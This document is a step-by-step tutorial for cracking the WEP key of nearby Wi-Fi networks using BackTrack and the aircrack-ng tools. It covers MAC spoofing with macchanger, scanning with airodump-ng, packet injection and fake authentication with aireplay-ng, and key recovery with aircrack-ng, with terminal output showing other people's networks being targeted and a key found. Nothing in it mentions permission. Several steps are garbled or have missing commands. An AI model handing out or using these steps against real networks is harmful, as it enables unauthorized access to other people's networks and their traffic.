## **BACKTRACK – WI-FI WEP PASSWORD HACK**

## **O**BJECTIVE

This document describes the steps for hacking a Internet Wi-Fi Signal with WEP Encryption only.

## **INSTRUCTIONS**

You will need the following:

- PC
- Backtrack in CD or USB (PC must support CD/USB Boot)

To find the password you will have to follow the instructions:

- 1. Start PC and check Boot Options.
  - a. To check boot options, reboot PC, press F12 (or letter for BIOS) and search for BOOT Options. Normaly, you will have to change boot priority options (first USB/CD, second HDD, etc.)
- 2. Start PC with normal OS.
  - a. Open Network and Sharing Center
  - b. Look for Wi-Fi with Best Signals for you position (Bed, Desk, etc.)
  - c. Make a list of SSIDs signals
  - d. Insert Backtrack CD/USB and reboot PC
- 3. If necessary, go to BIOS and load BOOT. In some PCs you only need to reboot and after some seconds it will show you the Boot options.
- 4. Select Backtrack and run in graphic mode.
- 5. After loading Backtrack OS, go to Wi-Fi Connections to make sure Wi-Fi is ON.
- 6. Open a Terminal Window.



7. First, insert **iwconfig** to see the interfaces configured in your PC:



8. After that, you need to start inject packets. For that you need to insert:



After that, you insert again: iwconfig



This is to check that the Wi-Fi interface was des-associated. (wifi0 – unassociated).

9. After this, you need to change the MAC Address, so you insert:

macchanger -m aa:bb:cc:dd:ee:ff wifi0

Where: *aa:bb:cc:dd:ee:ff* is the new MAC Address assigned to you wifi0 interface.



10. Now, you need to check all the networks around you that may be feasible to open. To do that, insert airodump–ng wifi0

What it will do is to scan all the networks that wifi0 can hear.

				Sh	ell -	Kons	ole				0
CH 2 ][ BAT: 1 hc	ur 54	mins ][	Elapsed:	16 s	][2	2008-	02-24	21:56			
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID	
00:14:95:DF:16:31	0	13	2	0	11	54.	WEP	WEP		valentinatadao	
00:18:F3:83:E3:3E	Θ	45	Θ	Θ	10	48	WEP	WEP	1	WebSTAR	
00:1D:60:37:05:99	0	81	Θ	0	7	48	WEP	WEP	1	WebSTAR21	
00:1D:60:37:1A:84	Θ	6	Θ	0	1	48	WEP	WEP	1	WebSTAR	
BSSID	STAT	ION	PWR	Ra	te	Lost	Pac	kets Pr	robes		

After this, you should check which networks are ciphered with WEP and have most beacons and # Data, to ensure that are the strongest for your position. After selecting one, you should copy all related data concerning the network. It is recommended that you open a new terminal (without closing the last one) to assure you have all network data.



11. Now, you need to configure the channel to scan scanning and the file where you will save the received packets, so you need to insert:

```
airodump-ng --channel channel_to_scan --write file_to_save wifi0
```

Where: *channel\_to\_scan* is the Wi-Fi Channel to scan (the one shown in step 10.)

*file\_to\_save* is the file where all the captured packets will be saved.

For example, if you choose to crack the WebSTAR21 network, you should see something like the following image:

CH 7 ][ BAT: 1 hc	our 55	5 min	s ][ Elaps	ed: 4 s	][2	008-0	2-24	21:5	7		
BSSID	PWR	RXQ	Beacons	#Data	, #/s	СН	MB	ENC	CIPHER AUTH	ESSID	
00:1D:60:37:05:99	0	100	36	0	0	7	48	WEP	WEP	WebSTAR21	
BSSID	STAT	ION		PWR	Rate	Lost	Pa	ickets	Probes		

After this, It is recommended that you open a new terminal (without closing the last one) to assure you can see all the data concerning the network to open.



12. To start capturing packets, you will need to insert: aireplay-ng -3 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff wifi0

Where: 00:11:22:33:44:55 is the MAC that belongs to the network you want to open aa:bb:cc:dd:ee:ff is the MAC that you inserted in step 9

	Shell - Konsole 📃 🗖
CH 7][BAT: 1 h	our 55 mins ][ Elapsed: 4 s ][ 2008-02-24 21:57
BSSID	PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1D:60:37:05:99	0 100 36 0 0 7 48 WEP WEP WebSTAR21
BSSID	STATION PWR Rate Lost Packets Probes
	Shell - Kons
	Shell - Kons

After this, It is recommended that you open a new terminal (without closing the last one) to assure you can see all the data captured from the network you want to open.



13. Finally, it is needed to associate the MAC Address of your PC to the MAC Address of the router. To achieve this, you have to insert:

aireplay-ng -1 0 -e SSID\_name -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff wifi0

Where: *SSID\_name* is the name of the network you want to open (Case Sensitive) 00:11:22:33:44:55 is the MAC that belongs to the network you want to open aa:bb:cc:dd:ee:ff is the MAC that you inserted in step 9



14. Now you will have to wait until the count of ARP Packets ascend to 80.000. When this is achieved (usually a couple of hours) press Ctrl + C to stop the captures.

	Shell - Ko	insole					
CH 7][BAT: 1 ho	ır 50 mins ][ Elapsed: 5 mins ][ 2	008-02-24 22:07					
BSSID	PWR RXQ Beacons #Data, #/s C	H MB ENC CIPHER AUTH ESSID					
00:1D:60:37:05:99	0 92 2992 64041 356	7 48 WEP WEP OPN WebSTAR21					
BSSID	STATION PWR Rate Lo	st Packets Probes					
00:1D:60:37:05:99 00:11:22:33:44:55 0 0-0 75 70136							
bt ~ # [							
	2 0	Shell - Konso					
	bt ~ # aireplay- 22:01:57 Waitin Saving ARP reque You should also Read 138459 pack bt ~ # []	ng -3 -b 00:1D:60:37:05:99 -h 00:11:22 g for beacon frame (BSSID: 00:1D:60:37 sts in replay_arp-0224-220157.cap start airodump-ng to capture replies. ets (got 64683 ARP requests and 70869.					
🗖 🔟 Shell - Konsole <3>							
Shell - Konsole <3>   bt ~ # aireplay-ng -1 0 -e WebSTAR21 -a 00:1D:60:37:05:99 -h 00:11:22:33:44:55 wifi0   22:02:29 Waiting for beacon frame (BSSID: 00:1D:60:37:05:99) on channel 7   22:02:29 Sending Authentication Request (Open System) [ACK]   22:02:29 Sending Association Request [ACK]   22:02:29 Authentication successful   22:02:29 Sending Association Request [ACK]   22:02:29 Authentication successful   20:02:29 Sending Association Request [ACK]   20:02:29 Association successful :-)							

15. To open the network, now you have to insert:

aircrack-ng file\_to\_save-01.cap

Where: *file\_to\_save* is the file where all the captured packets will be saved. (See Step 11).

	Shell - Konsole <3>
bt ~ # aireplay-ng -1 0 -e WebSTAR21 -a ( 16:37:19 Waiting for beacon frame (BSSI)	00:1D:60:37:05:99 -h 00:11:22:33:44 D: 00:1D:60:37:05:99) on channel 7
<pre>16:37:19 Sending Authentication Request 16:37:19 Authentication successful 16:37:19 Sending Association Request [Au 16:37:19 Association successful :-) bt ~ # aircrack-ng exploit-01.cap Opening exploit-01.cap Read 195110 packets.</pre>	(Open System) [ACK] CK]
# BSSID ESSID	Encryption
1 00:1D:60:37:05:99 WebSTAR21 2 00:18:F3:83:E3:3E WebSTAR Index number of target network ?	WEP (64795 IVs) No data - WEP or WPA

When this screen is shown, you must insert the # of the network to be open. (e.i.: 1)

This will show you the corresponding password for the network:

			Shell - K	onsole <3>
<mark>bt</mark> ~ # air 16:37:19	replay-ng -1 0 Waiting for be	-e WebSTAR21 acon frame (BS	-a 00:1D:60:3 SSID: 00:1D:6	7:05:99 -h 00:11:22:33:4 0:37:05:99) on channel 7
16:37:19 16:37:19 16:37:19 16:37:19 bt ~ # ain Opening ex Read 1951	Sending Authen Authentication Sending Associ Association su rcrack-ng explo xploit-01.cap 10 packets.	tication Reque successful ation Request ccessful :-) it-01.cap	est (Open Sys [ACK]	tem) [ACK]
# BSSI	ID	ESSID		Encryption
1 00:: 2 00::	1D:60:37:05:99 18:F3:83:E3:3E	WebSTAR21 WebSTAR		WEP (64795 IVs) No data - WEP or WPA
Index numb	ber of target n	etwork ? 1		
Opening ex Attack wil Starting F De	kploit-01.cap ll be restarted PTW attack with ecrypted correc	every 5000 ca 64795 ivs. KEY FOUND! [ tly: 100%	aptured ivs. 00:07:20:37:	01 ]
bt ~ #				

This key can be inserted as it is shown (e.ii.: 00:07:20:37:01).

## **TROUBLESHOOT:**

The most common problems that the process fails are:

- 1. Mix the commands airodump, aireplay, aircrack
- 2. Write bad the commands (spaces, options)
- 3. Forget to put the -ng (without the space between the script and -ng, e.iii.: airoplay-ng) for the respective commands.
- 4. Insert the MAC Address, name or file incorrectly.